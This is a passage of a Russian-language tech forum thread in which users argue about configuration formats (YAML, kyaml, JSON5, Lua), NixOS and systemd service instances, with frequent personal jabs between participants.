201. Сообщение от Аноним (-), 11-Сен-26, 12:02	+/–
> Затем, что у типовых форматов для конфигурации есть хорошо известные проблемы, не? > Правда в кастомном dsl они тоже будут... Но об этом сообщество(тм) > догадается несколько позже) А XKCD #927 они еще не посмотрели? Очень рекомендуется к просмотру.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #105

202. Сообщение от User (??), 11-Сен-26, 12:13	+/–
>> Есть два стула - на одном конфигурация без комментариев, > Это про что? Реестр вашей винды чтоли? А то у Systemd таки > можно - коментарии :). Да, без коментов в реестре - тяжко. Ооооу. Про существование json'а вы не в курсе?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #193 Ответы: #231

203. Сообщение от User (??), 11-Сен-26, 12:21	+/–
>>Ну, т.е. про то, что json5 появился лет на 10 позже, чем yaml > Дальше что? Вы умеете мысли формулировать, или только вбрасывать? Или вы предлагаете > мне за вас додумать ваш же аргумент? Ну, странно было бы предлагать google'у выбрать вместо хорошо известного, зрелого и читаемого yaml прошлогоднюю поделку, не закрепленную ни в одном (До сих, кстати пор не - и без шансов) стандарте, да? Ну вот он и не выбрал. >>любой yaml-парсер прочитает kyaml (это подмнодество yaml, если вы не в курсе) > Дальше что? Может для начала задаться вопросом, а откуда вообще в проекте > взялся yaml? Может если не брать плохую технологию, то её и > чинить не придётся? Оу. И правда. Ну, найдете машину времени - метнитесь в 2014 год: Товарищ Брин! Произошла ЧУДОВИЩНАЯ ОШИБКА! Промежуточный патрон! Командирская башенка! JSON5!!! >>в экосистему несовместимую свистелку (такую же как старая, но другую - всем лучше, только чуть-чуть хуже) > Так это и есть тащить в систему очередную поделку, но только хуже. Ну ой. Оно есть. Оно работает. Оно удобно. Оно решает задачу. ОНО НЕ ЛОМАЕТ СУЩЕСТВУЮЩУЮ ЭКОСИСТЕМУ. А то, что у полутора ужаленных фронтендеров "лапки"? Ну так и тьфу на них - не для них писано. > Если бы в гугле сидели действительно не дураки, то они бы > не превозмагали бы yaml десятилетиями, а написали бы собственный формат, благо > парсер генераторы давным давно изобретены, либо, если им так не хочется > изобретать свой формат, взяли бы чужой, по типу sexp. Оуууу... чот везет мне на малограмотных нонча. Дитятко - кубик - есть развитие google'овского Borg, у которого был вот собственный BCL. "Пробовали - не понравилось", так что ты лучше к машине времени не подходи, а то еще на-со-ве-ту-ешь.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #194 Ответы: #206

204. Сообщение от User (??), 11-Сен-26, 12:25	+/–
> Осильте nix и у решатся проблемы ваши. Сектант, что ли? Эта проблема в инфраструктурном слое - не решается.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #200 Ответы: #207

205. Сообщение от Malinovsky (?), 11-Сен-26, 12:32    Скрыто ботом-модератором	–1 +/–
Капец, тебя тяжело читать даже мне. Все каким-то ультимативным тоном, будто заявка на истину в последней инстанции. На деле же это попытка порвать всем мозги. Форк plan9 называется 9front - работает, тупых пользователей ничего делать не просит. Весь говновыхлоп сводится к тому что старая система устарела. Для этого ненужно фигурное размазывание кала по стенке руками практиковать. Создатель замены делает что-то вроде runit или OpenRC, то есть параллельный запуск сервисов и слежение за их работой. В теме уже есть сообщение о том что это такое. Ты давно должен был заглохнуть со своим бухтением кровосос.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #45

206. Сообщение от Аноним (197), 11-Сен-26, 12:34	+/–
>Ну, странно было бы предлагать Давайте конкретику, без всей этой воды. >Оу. И правда. Ну, найдете машину времени - метнитесь в 2014 год Вы барабан крутите или как? Откуда вдруг 2014 взялся? Вы мысли умеете формулровать, или какое число всплыло в вашей памяти, такое вы написали? >Оно удобно. Оно настолько удобно, что изобрели свой собственный NIH. >"Пробовали - не понравилось" Вы продолжаете пытаться придумать самый глупый комментарий? >ОНО НЕ ЛОМАЕТ СУЩЕСТВУЮЩУЮ ЭКОСИСТЕМУ Объясните мне, что мне мешает открыть kyaml файл и вписать туда обычный yaml?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #203 Ответы: #209

207. Сообщение от Аноним (197), 11-Сен-26, 12:40	+/–
>Сектант, что ли? Вам дают решение строго по вашему ТЗ - запретить модификацию конфига без перезапуска программы, а вы этого даже не замечаете.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #204 Ответы: #210

208. Сообщение от User (??), 11-Сен-26, 12:54	+/–
> Ну я как бы всё равно не очень понял. > Читал книжку по LUA и использование LUA для парсинга конфигов которые тоже > в формате LUA там в самых первых главах. > prosody юзаю - то что там на LUA конфиг и вопрощает эту > идею в жизнь - мне никак не мешает жить. > json и прочее - сделать можно, но это для взаимодействия через вебморду > или API для конфигурации живого процесса. Мне кажется так практичнее. Блин. Ну, тут прям много писать надо. Конфигурация в общем-то "по определению" декларативная штука, описывающая состояние объекта. lua\json-api в общем-то способы менять это состояние в рантайме\от внешних условий, да? Причем на самом деле требуется это ну сииииильно не всегда, да? А дальше у нас несколько вариантов: 1. Программа на lua --> конфигурация на lua. Никакого барьера, ничего. Единственные джве проблемы - безопасность\сендбоксинг (решается) и "найти программу, написанную на lua" - сложьна! 2. Lua как встраиваемая часть конфигурации. Сама конфигурация вот статична - lua формирует её до передачи в приложение (Т.е. приложение само отвечает за валидацию этой статики) - вот nginx. 3. Lua как "формат конфигурации целиком" в проекте на другом языке. "Статической" конфигурации как таковой нет, есть вот динамически формируемый рантайм - в котором ты собственно и будешь ловить все ошибки со всеми вытекающими. Как будто примерно во всех случаях проще взять любой удобный templating engine для формирования статической конфигурации + API для работы с рантаймом, в тех - повторюсь, не то чтобы однозначно всем-и-всегда нужных случаях.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #185 Ответы: #290

209. Сообщение от User (??), 11-Сен-26, 13:07	+/–
>>Ну, странно было бы предлагать > Давайте конкретику, без всей этой воды. Робот, позови человека! >>Оу. И правда. Ну, найдете машину времени - метнитесь в 2014 год > Вы барабан крутите или как? Откуда вдруг 2014 взялся? Вы мысли умеете > формулровать, или какое число всплыло в вашей памяти, такое вы написали? Вы читать умеете или вот "Китайская комната"? Это - буквально - ответ на ваш вопрос: > Может для начала задаться вопросом, а откуда вообще в проекте взялся yaml? Вот оттуда и взялся. В 2014 еще году. >>Оно удобно. > Оно настолько удобно, что изобрели свой собственный NIH. Ну, т.е. JSON5 - IH, Kyaml - NIH, ясно-понятно. >>"Пробовали - не понравилось" > Вы продолжаете пытаться придумать самый глупый комментарий? Я уже признал вашу победу, чего вы? Впрочем, похвалю - у вас отлично получается, продолжайте! >>ОНО НЕ ЛОМАЕТ СУЩЕСТВУЮЩУЮ ЭКОСИСТЕМУ > Объясните мне, что мне мешает открыть kyaml файл и вписать туда обычный > yaml? Ээээ... ну примерно то же, что не дает открыть json файл и накалякать туда // Вот-какой-я-молодец. Но вот проблемы с тем, чтобы скормить любому yaml парсеру kyaml файл - у вас не будет. И с обычным json - не будет. А json5 - внезапно! Будет. Ну вот и нахрен кому б такое счастье сдалось?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #206 Ответы: #211

210. Сообщение от User (??), 11-Сен-26, 13:10	+/–
>>Сектант, что ли? > Вам дают решение строго по вашему ТЗ - запретить модификацию конфига без > перезапуска программы, а вы этого даже не замечаете. Ну, детализируйте мне его - может, я правда чего не понимаю? А то совет "возьми сепульку - и рантайм у тебя всегда будет соответствовать конфигурации" хороший, но немного так не полный.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #207 Ответы: #219

211. Сообщение от Аноним (197), 11-Сен-26, 13:20	+/–
>Я уже признал вашу победу, чего вы? Пока что вы умудряетесь только кривляться. Сколько вам потребовалось времени, чтобы вспомнить про обратную совместимость? Для начала, определитесь зачем вообще создавался kyaml. Сразу же после этого подумайте, как это стыкуется с обратной совместимостью.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #209 Ответы: #212

212. Сообщение от User (??), 11-Сен-26, 13:28	+/–
Иопт. Спасибо, но пожалуй уже хватит. Глубину-глубин и широту широт вы уже продемонстрировали, ничего полезного не сказали - а отвечать на DOS бессмысленными вопросами, ответ на которых не читают - как будто есть более приятное времяпрепровождение.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #211 Ответы: #214

213. Сообщение от User (??), 11-Сен-26, 13:32	+/–
>> А как же LUA в качестве конфигов? > Код как конфигурация? Die-die-die-die. Потому что поддерживать ЭТО - вообще совсем нереально. Редкий случай, когда хочется пожать мозолистую руку :)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #196

214. Сообщение от Аноним (197), 11-Сен-26, 13:38	+/–
Знаете, а ведь я только начал. Если вы собираетесь спорить на технические темы, то убедитесь, что вы имеете хотя-бы минимальные знания, а то придётся сливаться из темы, сверкая пятками. И да, я всё ещё жду ответ, на поставленный вопрос.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #212 Ответы: #217

215. Сообщение от Сладкая булочка (?), 11-Сен-26, 13:56	+1 +/–
> Как там с массивами, уже завезли или $@ хватает каждому? А массивы в баше - это не трэш?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #146 Ответы: #221, #265

216. Сообщение от warlock66613 (ok), 11-Сен-26, 13:59	+/–
Я читал. Как я понял fork() принципиально сломан и не может быть использован ни в какой ситуации, кроме как когда надо просто стартовать процесс и забыть о нём. Так что было бы странно, если бы новый проект его использовал.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #181

217. Сообщение от User (??), 11-Сен-26, 14:06	+/–
> Знаете, а ведь я только начал. Если вы собираетесь спорить на технические > темы, то убедитесь, что вы имеете хотя-бы минимальные знания, а то > придётся сливаться из темы, сверкая пятками. И да, я всё ещё > жду ответ, на поставленный вопрос. Не, ну можете продолжать позориться, жалко что ли? Про "обратную совместимость" я вам написал во втором вот комментарии... но вы его не поняли, пока вас в лужу не натыкали. Про космических масштабов и космической глупости совет перейти на json5 - тоже ясно. Про ГЕНИАЛЬНУЮ ИДЕЮ написать с самого начала свой DSL вроде историю тоже напомнил - чо осталось-то? Выяснить, в каком месте дяди из гугля делали вам больно при попытке дописсывать, или что надо-то?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #214 Ответы: #218

218. Сообщение от Аноним (197), 11-Сен-26, 14:17	+/–
>Про "обратную совместимость" я вам написал во втором вот комментарии... Я вам сколько раз написал, что мысль надо развернуть? А вы до сих пор про "обратную совместимость" пишите. Сколько сообщений мне ждать ответ на вопрос "с какой целью создан kyaml и почему нельзя было оставаться на yaml"? >чо осталось-то? Для начала, ответьте на первый вопрос.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #217 Ответы: #227

219. Сообщение от Аноним (197), 11-Сен-26, 14:19	+/–
>Ну, детализируйте мне его - может, я правда чего не понимаю? Есть декларативная конфигурация на nix. После того, как её изменили, запускается пересборка, и изменённые сервисы перезагружаются. Без гонок и прочей магии.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #210 Ответы: #224

220. Сообщение от Аноним (220), 11-Сен-26, 14:41	+/–
И сколько лет варнинг остаётся варнингом?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #12 Ответы: #276

221. Сообщение от Аноним (197), 11-Сен-26, 14:57	+/–
Shell сам по себе трэш. Единственная причина, по которой его не выкинули - обратная совместимость.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #215

222. Сообщение от Аноним (223), 11-Сен-26, 15:06	+/–
> - путь к конфиг файлу конечно, как и --version я еще могу понять > - путь к пид файлу прочесть из конфига никак? > - флаг чтобы запускать демоном/интерактивно все так же в конфиге, daemon = on/off > - хэлп/usage так этот хэлп и usage по командной строке или по всему конфигу? нет смысла когда есть практика man.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #155 Ответы: #288

223. Сообщение от Аноним (223), 11-Сен-26, 15:11	+/–
А разве не удобно готовить конфиг под разные задачи и тем самым потом не ковырять чем запуск одной лапши отличается от другой. Кто-нибудь в здравом уме хотя бы раз запускал тот же gcc cо всеми необходимыми опциями, библиотеками инклудами и т.д.? Поэтому придумали системы сборки чтобы такую лапшу каждый раз в командной строке не писать? Сложно сделать нечто подобное project.conf и запускать gcc --conf=project.conf ?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #151 Ответы: #315

224. Сообщение от User (??), 11-Сен-26, 15:13	+/–
>>Ну, детализируйте мне его - может, я правда чего не понимаю? > Есть декларативная конфигурация на nix. После того, как её изменили, запускается пересборка, > и изменённые сервисы перезагружаются. Без гонок и прочей магии. Ну, т.е. нельзя взять, поправить рантайм конфигурацию nginx и (не) перезапустить его - нельзя, да? Вот совсем-совсем никак? Или чуть-чуть можно?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #219 Ответы: #242

225. Сообщение от Аноним (223), 11-Сен-26, 15:15	+/–
и для этого мне нужен аргумент командной строки? Даже если нет аргумента конфига можно это реализовать так. Существует дефолтовый путь к конфигу, в самом конфиге можно организовать определение (декларирование) конфигурации для разных экземпляров. А потом достаточно написать ./my_program, которая прочтет конфиг увидит в конфиге две декларации для запуска и запустит два экземпляра самой себя с разными распарсенными конфигами. Я не вижу необходимости два раза запускать одну и ту же программу, если она сама может сделать это.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #162 Ответы: #239, #245

226. Сообщение от Аноним (223), 11-Сен-26, 15:17	+/–
HUP сигнал вроде существует 100 лет, в чем проблема перечитывать конфиг? Да даже лайв кернел патчинг давно уже существует, а тут за какую-то "формулу один" говорите, все давно уже придумано как этого всего избежать.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #176 Ответы: #229

227. Сообщение от User (??), 11-Сен-26, 15:22	+/–
Вопрос не корректный. Планов по отказу от использования yaml - официально - нет. По этому - можно оставаться на обычном yaml, никто ж не мешает? За подробностями в KEP-5295, пункт номер 1 в GOALS: Specify a YAML dialect which is 100% compatible with existing parsers and tooling. Вот буквально - ПЕРВАЯ цель. Остальные надеюсь сумеете прочитать? И точно так же ПЕРВАЯ Non-goal: Introduce alternative configuration languages that are not compatible with existing tooling. Еще вопросы в стиле "Чому нi державною?!" будут?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #218 Ответы: #230

228. Сообщение от Аноним (223), 11-Сен-26, 15:23	+1 +/–
> Иногда бывает удобно всунуть немного логики в конфиг, например как в том же nginx. Помнится как Сысоев говорил "Не программируйте в конфигах!!!", эхххх, ушла эпоха.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #156 Ответы: #233, #292

229. Сообщение от User (??), 11-Сен-26, 15:30	+/–
> HUP сигнал вроде существует 100 лет, в чем проблема перечитывать конфиг? Да > даже лайв кернел патчинг давно уже существует, а тут за какую-то > "формулу один" говорите, все давно уже придумано как этого всего избежать. Так проблема - если не брать мрии никсоводов - как раз в том и есть, что "в жизни" кто-то рано или поздно ОБЯЗАТЕЛЬНО конфигурацию вот поправит - а сервис не передернет. Всякая инфраструктурная обвязка с хэшами конфигмап в общем помогает, но делать её самому из-палка-унд-веревка там, где нет готовых решений - ну, такое себе.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #226 Ответы: #235

230. Сообщение от Аноним (197), 11-Сен-26, 15:37	+/–
>Specify a YAML dialect which is 100% compatible with existing parsers and tooling. Хорошо, следующий вопрос: а почему меня вообще должна влиять несовместимость yaml парсеров? >По этому - можно оставаться на обычном yaml, никто ж не мешает? Второй вопрос: как сохранение yaml способствует решению проблемы несовместимости парсеров? Вы не замечаете здесь никакого противоречия? >Еще вопросы в стиле Конечно будут. Например, чем отличается кириллица от латиницы?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #227 Ответы: #232

231. Сообщение от Аноним (-), 11-Сен-26, 15:43	+/–
>>> Есть два стула - на одном конфигурация без комментариев, >> Это про что? Реестр вашей винды чтоли? А то у Systemd таки >> можно - коментарии :). Да, без коментов в реестре - тяжко. > Ооооу. Про существование json'а вы не в курсе? Я в курсе про то что JSON - позволяет довольно дохрена всего - включая вложенные конструкции, массивы и проч. И что поэтому его в результате от и до, 100% корректно - не парсит приблизительно никто. Ну может кроме самого JS в браузере. А в s-d таки - внезапно - можно коменты. Вот прям в "ini-like" формате. Представляете? Без всей этой адовой оверинженерии. Потому что если условный Васян завернет каких-нибудь пятиэтажных составных объектов - вы, таки, немного очешуеете...
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #202 Ответы: #234

232. Сообщение от User (??), 11-Сен-26, 15:45	+/–
Не-не-не. Пжди, моя очередь. Почему не JSON5\Custom DSL ДОШЛО наконец-то? Или надо - ну, не знаю? языком жестов изобразить?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #230 Ответы: #238

233. Сообщение от Аноним (-), 11-Сен-26, 15:47	+/–
>> Иногда бывает удобно всунуть немного логики в конфиг, например как в том же nginx. > Помнится как Сысоев говорил "Не программируйте в конфигах!!!", эхххх, ушла эпоха. Некоторые так с своими sysv портянками и не выучили урок на тему как они за...ли уже своими художествами вперемешку с конфигурацией. Не, реально, ковырять конфигурационные параметры на третьей странице, пополам с кодом - это не круто. Это безобразно. И более того - это и валидировать толком не того, и испортить случайно можно - подтерев лишнего, и вообще.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #228 Ответы: #293

234. Сообщение от User (??), 11-Сен-26, 15:53	+/–
Оу. Т.е. про JSON вы первый раз услышали, и еще про парсеры еще не загуглили, да? Ох, что ж за день-то такой? Может я один в пятницу трезвый?? Один вот закон квадрата-куба "анизотропностью объекта" нарушает, другой - на ноль делит и ноль получает, третий вот весь день спрашивает, почему проект, целью которого является создание СОВМЕСТИМОГО решения не выбрал вот решение НЕСОВМЕСТИМОЕ, которое ему больше нравится... Этот вот про невдолбенную сложность JSON, которая никак-никак валидный парсер создать не позволяет чушь несёт... И ведь сентябрь уже на дворе, не август! Беда прям какая-то.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #231 Ответы: #244

235. Сообщение от Аноним (223), 11-Сен-26, 15:55	+/–
> конфигурацию вот поправит - а сервис не передернет. тут просто зависит от уровня продакшена, в нормальных серьезных продакшенах, конфиг после правки должен быть протестирован в тестовом окружении, после этого принимается решение применения его к продакшену, все это заранее планируется, и передергивает сервис в продакшене уже совсем другие компетентные люди. И в таком случае ситуация "забить передернуть" - исключена. Даже если не серьезный продакшен, а какой-нибудь локалхост, зададимся вопросом, зачем правим? Правим ровно потому, чтобы потом передернуть. Без правки, необходимости в передергивании просто нет. И тут сразу возникает вопрос, а есть ли механизм как то узнать по запущенной программе какую версию конфига она исполняет? Значит должен быть какой-то config.lock.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #229 Ответы: #237

236. Сообщение от Аноним (-), 11-Сен-26, 15:56	+/–
>>И как там - ваши чудеса смоли уже в "инстансы" где можно из одного шаблона - например 5 копий OpenVPN или там Tor поднять - с разными настройками, но более-менее общими свойствами запуска? > Осильте nix. Дорогой фанат nix, в этом вашем nix что, системды нету? Того же tor там может быть - одна копия как программы установлен. Но s-d позволяет запустить 5 разных инстансов с разными конфигами, если оно надо. Это же - с любыми иными программами, httpd там или vpn, или что там еще - если надо эн инстансов с разной конфигурацией. А копия программы в системе при этом одна. Представляете, вполне валидно запустить 5 инстансов httpd с разными настройками. Один там допустим для user-facing, другой как некий хосп аппсервера, третий еще что-нибудь типа морды управления и доступный например только через интранет вообще. И так далее. Это все ортогонально nix - так любой дистр с s-d может. А в bds как обычно - удобства во дворе...
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #197 Ответы: #246

237. Сообщение от User (??), 11-Сен-26, 15:59	+/–
>[оверквотинг удален] > тут просто зависит от уровня продакшена, в нормальных серьезных продакшенах, конфиг после > правки должен быть протестирован в тестовом окружении, после этого принимается решение > применения его к продакшену, все это заранее планируется, и передергивает сервис > в продакшене уже совсем другие компетентные люди. И в таком случае > ситуация "забить передернуть" - исключена. Даже если не серьезный продакшен, а > какой-нибудь локалхост, зададимся вопросом, зачем правим? Правим ровно потому, чтобы потом > передернуть. Без правки, необходимости в передергивании просто нет. > И тут сразу возникает вопрос, а есть ли механизм как то узнать > по запущенной программе какую версию конфига она исполняет? Значит должен быть > какой-то config.lock. Угу. Вот я и решил, что забить всю конфигурацию в параметры командной строки (Вру, не всю - пароль не стал) - как будто самое простое, что может решить проблему. Гарантии собственно обеспечивает операционная система, визибилити вот, прям на ладони ). Удобство... этого слова в ТТ не было )))
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #235 Ответы: #253

238. Сообщение от Аноним (197), 11-Сен-26, 16:02	+/–
>Почему не JSON5\Custom DSL ДОШЛО наконец-то? Вы опять бежите впереди паровоза. Kyaml это очередной костыль поверх yaml, который никоим образом не решает возникшую проблему. Ещё раз повторю вопрос: почему меня вообще должна волновать несовместимость yaml парсеров? Подсказать правильный ответ? Меня не должен волновать этот вопрос, поскольку использовать язык, к которому не смогли написать нормальный парсер - нельзя. Знаете какое правильное решение этой проблемы? Выкинуть yaml, и передавать напрямую json. Знаете в каком году можно было принять это решение? В 2009. Когда гугл выкатил свой велосипед? Сколько лет прошло? За время, прошедшее с релиза yaml 1.2, уже можно было не просто избавится от yaml под ноль, уже можно было полностью переписать на новый формат, и при том не спеша.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #232 Ответы: #240

239. Сообщение от Аноним (-), 11-Сен-26, 16:05	+/–
> и для этого мне нужен аргумент командной строки? Ну а как ты иначе раздашь разные конфиги разным инстансам? В обязаловку затребуешь отдельный контейнер этой приблуде? Даже если это не было частью плана админа? > Существует дефолтовый путь к конфигу, в самом конфиге можно организовать определение (декларирование) > конфигурации для разных экземпляров. И получить вместо 5 мелких конфигов - один убер-монстр где в одну ломовую простыню будет запихано вообще совсем все. И при желании сменить пару параметров в вон том очевидном сервисе - придется вкуривать в навороченный монстр с вообще всем. Еще lua его обмазать, навороченных условий типа применения конфига только в полнолуние високосного года, во админ будет рад когда им в полнолуние високосного года - пятки почему-то прострелит, максимально неочевидным способом. Именно такой прод все и хотят! > А потом достаточно написать ./my_program, которая > прочтет конфиг увидит в конфиге две декларации для запуска и запустит > два экземпляра самой себя Это что, у нас будет еще +1 способ запуска софта? А допустим рестарты при вылете - тоже оно будет рюхать? Или там мониторинг зависонаов? И что делать если  мы под разными допустим юзерями хотим разные части запустить? Ну а зачем допустим аппсерверу с своим добром иметь доступ - к файлам морды мониторинга какой, например? Чтоб при случае 31337 x4x0r смог этим всем убедительно порулить? > с разными распарсенными конфигами. Я не вижу > необходимости два раза запускать одну и ту же программу, если она > сама может сделать это. А я... 1) Не вижу нужды кодить в каждой программе эрзац-подобие сервис-менеджера. При том убого и самопально. 2) При том это будет убого и самопально. 3) Когда все программы этим занимаются - это еще и дофига кода дублируется. 4) И вообще - у всех по разному - так что удачи в администрировании такого зоопарка. 5) Далеко не все смогут в нормальный авторестарт, мониторинг зависонов и проч. 6) И предлагается этой штуке дать висеть с правами рут? Или как оно под разными юзерями например будет запускать эн инстансов? А с разными ресурсными лимитами? Или даже в разных контейнерах?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #225 Ответы: #251

240. Сообщение от User (??), 11-Сен-26, 16:08	+/–
>[оверквотинг удален] > никоим образом не решает возникшую проблему. Ещё раз повторю вопрос: почему > меня вообще должна волновать несовместимость yaml парсеров? Подсказать правильный ответ? > Меня не должен волновать этот вопрос, поскольку использовать язык, к которому > не смогли написать нормальный парсер - нельзя. Знаете какое правильное решение > этой проблемы? Выкинуть yaml, и передавать напрямую json. Знаете в каком > году можно было принять это решение? В 2009. Когда гугл выкатил > свой велосипед? Сколько лет прошло? За время, прошедшее с релиза yaml > 1.2, уже можно было не просто избавится от yaml под ноль, > уже можно было полностью переписать на новый формат, и при том > не спеша. Оуууу... так написать "да я ваш kubernetes в глаза не видел! ЧО ВЫ КО МНЕ ПРИСТАЛИ?!!! И про yaml ваш я первый раз утром прочитал!!!" надо было еще постараться. Ди-тят-ко! yaml - НАДМНОЖЕСТВО json. Любой валидный парсер yaml этот самый json читает из коробки (А json5 - не читает, угадай, почему?) - и - вот сюрприиииз-то? Kubernetes этот самый json умеет понимать... не, врать не буду - первые версии не застал - но в 2016 уже мог, предполагаю что и в 14 тоже ). Иди уже уроки учи, а?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #238 Ответы: #241

241. Сообщение от Аноним (197), 11-Сен-26, 16:13	+/–
>да я ваш kubernetes в глаза не видел! ЧО ВЫ КО МНЕ ПРИСТАЛИ Вы не отвлекайтесь от темы. >yaml - НАДМНОЖЕСТВО json Прогресс. Теперь вы уже можете начать думать над тем, почему kyaml - это nih, а json5 - нет. >А json5 - не читает А где я утверждал обратное? У вас есть очень серьёзная проблема: чем активнее вы кривляетесь, тем меньше вы читаете текст, и тем больше додумываете от себя.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #240 Ответы: #243

242. Сообщение от Аноним (197), 11-Сен-26, 16:15	+/–
>Ну, т.е. нельзя взять, поправить рантайм конфигурацию nginx и (не) перезапустить его - нельзя, да? Совершенно верно, нельзя, поскольку /nix смонтирован в как только для чтения.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #224 Ответы: #248

243. Сообщение от User (??), 11-Сен-26, 16:15	+/–
>>да я ваш kubernetes в глаза не видел! ЧО ВЫ КО МНЕ ПРИСТАЛИ > Вы не отвлекайтесь от темы. Эээээ... а смысл её обсуждать с тем, кто про неё - literally - НИЧЕГО не знает?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #241 Ответы: #247

244. Сообщение от Аноним (-), 11-Сен-26, 16:18    Скрыто ботом-модератором	+/–
> Оу. Т.е. про JSON вы первый раз услышали, и еще про парсеры > еще не загуглили, да? Какой вы умный! Только вот я в отличие от вас - умею * Писать программы. * Парсить это добро. И XML и JSON. * И даже от ремот. * И даже относительно секурно. Но даже так - порой можно поймать какой-то странной фигни. Поэтому - я догадываюсь об уровне сложности задачи - и граблях в процессе. Это идет чуть дальше чем надувание щек на форуме с умным видом :) Самое плохое что там есть - надо быть готовым к произвольной структуре, произвольного размера, произвольного уровня вложенности и сложности. Ну такое себе, если честно. Особенно - для конфигов. Тем более что сие и для админа тоже актуально. > Ох, что ж за день-то такой? Может я один в пятницу трезвый?? Это вам не сильно помогает. Сходите на сайт с iq-тестами, устройте себе чекап. Я и так знаю что он покажет, можете не рассказывать. > которого является создание СОВМЕСТИМОГО решения не выбрал вот решение НЕСОВМЕСТИМОЕ, Совместимость - это прекрасно, но только до определенной точки. Как там с поилками для лошадей на АЗС? Инстальнули? Для совместимости же. > ему больше нравится... Этот вот про невдолбенную сложность JSON, которая никак-никак > валидный парсер создать не позволяет чушь несёт... И тем не менее - по сравнению с ini простым как дрова - сие просто разные миры. Парсить ini - тривиальнее некуда. А вон то, в произвольно взятом виде... > И ведь сентябрь уже на дворе, не август! Беда прям какая-то. Да вам совет с чекапом - актуален круглый год... чтоб трезвей на вещи смотреть. А то вроде и трезвый - но от реалий оторван круче иного пропойцы.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #234 Ответы: #249

245. Сообщение от Аноним (197), 11-Сен-26, 16:20	+/–
>Я не вижу необходимости два раза запускать одну и ту же программу, если она сама может сделать это. Вы переизобретаете велосипед. Как быть с ситуацией, когда программа уже запущена и нужно дозапустить ещё одну? Как быть с ситуацией, когда нужно запустить ещё один экземплр но другой версии? И так далее.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #225 Ответы: #250

246. Сообщение от Аноним (197), 11-Сен-26, 16:22	+/–
>но более-менее общими свойствами запуска? Вот это. Если вам нужно разделить части конфига - то это единственный вариант. Если вас устроит дублирование конфигов и ручная правка - хватит и обычного systemd.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #236 Ответы: #258

247. Сообщение от Аноним (197), 11-Сен-26, 16:27	+/–
Опять намылились сверкая пятками уйти от исходной темы? Вы до сих пор так и не обосновали нужность kyaml.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #243 Ответы: #252

248. Сообщение от User (??), 11-Сен-26, 16:42	+/–
Прикольная идея. Не знал, спасибо.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #242

249. Сообщение от User (??), 11-Сен-26, 16:45	+/–
Да-да, конечно... мы видим, да-да...
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #244 Ответы: #256

250. Сообщение от Аноним (223), 11-Сен-26, 16:46	+/–
> Вы переизобретаете велосипед. подробней, где такое поведение реализовано? У вас с логикой все в порядке? Вы меня опровергаете и тем временем говорите что я переизобретаю то, что уже существует? Это же противоречие! > Как быть с ситуацией, когда программа уже запущена и нужно дозапустить ещё одну? Дописать конфиг для нового экземпляра, и послать сигнал перечитки конфига, в чем проблема? У вас nginx разве не так работает? > Как быть с ситуацией, когда нужно запустить ещё один экземплр но другой версии? Другая версия программы никакого отношения к конфигу не имеет, можно механизмом лайв патчинга, либо еще просто, завершить текущую программу и запустить свежую. пс: учитывая ваши противоречивые суждения, делаю вывод, что вЫЫ нейрослоупок, отвечать на этот комент не надо, на этом диалог завершен!
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #245 Ответы: #289

251. Сообщение от Аноним (223), 11-Сен-26, 16:48	+/–
> Ну а как ты иначе раздашь разные конфиги разным инстансам? Ты тоже нейрослоупок? Я же описал как, прочти коментарий внимательно. > В обязаловку затребуешь отдельный контейнер этой приблуде? Ну все, ясно, очередной нейрослоупок!
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #239 Ответы: #306

252. Сообщение от User (??), 11-Сен-26, 16:48	+/–
> Опять намылились сверкая пятками уйти от исходной темы? Вы до сих пор > так и не обосновали нужность kyaml. Не-не-не, языком жестов я только послать могу. Надо?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #247 Ответы: #254

253. Сообщение от Аноним (223), 11-Сен-26, 16:52	+/–
> Вот я и решил, что забить всю конфигурацию в параметры командной строки и никаких run.sh верим верим :))))
